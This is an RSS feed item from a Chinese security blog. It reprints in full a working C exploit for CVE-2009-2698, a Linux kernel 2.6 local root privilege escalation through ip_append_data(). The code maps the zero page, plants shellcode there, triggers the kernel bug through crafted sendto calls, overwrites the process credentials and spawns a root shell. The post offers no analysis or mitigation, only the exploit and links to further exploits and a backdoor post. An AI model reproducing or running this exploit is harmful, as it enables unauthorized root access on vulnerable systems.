<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog &#187; root</title>
	<atom:link href="http://www.4shell.org/archives/tag/root/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Fri, 10 Feb 2012 03:53:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Linux kernel 2.6 &lt; 2.6.19 (32bit) ip_append_data() local ring0 root exploit</title>
		<link>http://www.4shell.org/archives/1079.html</link>
		<comments>http://www.4shell.org/archives/1079.html#comments</comments>
		<pubDate>Tue, 01 Sep 2009 01:58:54 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[root]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1079.html</guid>
		<description><![CDATA[漏洞利用程序： /* ** ** 0x82-CVE-2009-2698 ** Linux kernel 2.6 &#60; 2.6.19 (32bit) ip_append_data() local ring0 root exploit ** ** Tested White Box 4(2.6.9-5.ELsmp), ** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp), ** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5), ** Fedora Core 6(2.6.18-1.2798.fc6). ** ** -- ** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team. [...]]]></description>
			<content:encoded><![CDATA[<p>漏洞利用程序：</p>
<p>/*<br />
**<br />
** 0x82-CVE-2009-2698<br />
** Linux kernel 2.6 &lt; 2.6.19 (32bit) ip_append_data() local ring0 root exploit<br />
**<br />
** Tested White Box 4(2.6.9-5.ELsmp),<br />
** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),<br />
** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5),<br />
** Fedora Core 6(2.6.18-1.2798.fc6).<br />
**<br />
** --<br />
** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.<br />
** Thankful to them.<br />
**<br />
** --<br />
** bash$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c &amp;&amp; ./0x82-CVE-2009-2698<br />
** sh-3.1# id<br />
** uid=0(root) gid=0(root) groups=500(x82) context=user_u:system_r:unconfined_t<br />
** sh-3.1#<br />
** --<br />
** exploit by<br />
.<br />
**<br />
*/</p>
<pre><code>

#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;sys/personality.h&gt;

unsigned int uid, gid;
void get_root_uid(unsigned *task)
{
	unsigned *addr=task;
	while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){
		addr++;
	}
	addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */
	addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */
	return;
}
void exploit();
void kernel_code()
{
	asm("exploit:\n"
		"push %eax\n"
		"movl $0xfffff000,%eax\n"
		"andl %esp,%eax\n"
		"pushl (%eax)\n"
		"call get_root_uid\n"
		"addl $4,%esp\n"
		"popl %eax\n");
	return;
}
void *kernel=kernel_code;

int main(int argc, char **argv)
{
	int fd=0;
	char buf[1024];
	struct sockaddr x0x;
	void *zero_page;

	uid=getuid();
	gid=getgid();
	if(uid==0){
		fprintf(stderr,"[-] check ur uid\n");
		return -1;
	}
	if(personality(0xffffffff)==PER_SVR4){
		if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
			perror("[-] mprotect()");
			return -1;
		}
	}
	else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
			perror("[-] mmap()");
			return -1;
	}
	*(unsigned long *)0x0=0x90909090;
	*(char *)0x00000004=0x90; /* +1 */
	*(char *)0x00000005=0xff;
	*(char *)0x00000006=0x25;
	*(unsigned long *)0x00000007=(unsigned long)&amp;kernel;
	*(char *)0x0000000b=0xc3;

	if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){
		perror("[-] socket()");
		return -1;
	}
	x0x.sa_family=AF_UNSPEC;
	memset(x0x.sa_data,0x82,14);
	memset((char *)buf,0,sizeof(buf));
	sendto(fd,buf,1024,MSG_PROXY|MSG_MORE,&amp;x0x,sizeof(x0x));
	sendto(fd,buf,1024,0,&amp;x0x,sizeof(x0x));
	if(getuid()==uid){
		printf("[-] exploit failed, try again\n");
		return -1;
	}
	close(fd);
	execl("/bin/sh","sh","-i",NULL);
	return 0;
}

/* eoc */</code></pre>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年05月16日 -- <a href="http://www.4shell.org/archives/1930.html" title="kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images">kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images</a></li><li>2010年12月16日 -- <a href="http://www.4shell.org/archives/1857.html" title="Exploits Linux Kernel <= 2.6.37 local privilege escalation">Exploits Linux Kernel <= 2.6.37 local privilege escalation</a></li><li>2009年05月17日 -- <a href="http://www.4shell.org/archives/779.html" title="Linux Kernel 2.6.x ptrace_attach Local Privilege Escalation Exploit">Linux Kernel 2.6.x ptrace_attach Local Privilege Escalation Exploit</a></li><li>2008年11月2日 -- <a href="http://www.4shell.org/archives/520.html" title="Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit">Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit</a></li><li>2011年11月25日 -- <a href="http://www.4shell.org/archives/2062.html" title="最小化安装CentOS6 VMware-tools安装几点注意事项">最小化安装CentOS6 VMware-tools安装几点注意事项</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2059.html" title="linux Backdoor">linux Backdoor</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2055.html" title="allinone: Linux pentest tools">allinone: Linux pentest tools</a></li><li>2011年06月10日 -- <a href="http://www.4shell.org/archives/1969.html" title="VMware 硬盘扩容">VMware 硬盘扩容</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1958.html" title="Linux下MySQL的load_file常用路径">Linux下MySQL的load_file常用路径</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1956.html" title="linux渗透小技巧">linux渗透小技巧</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1079.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

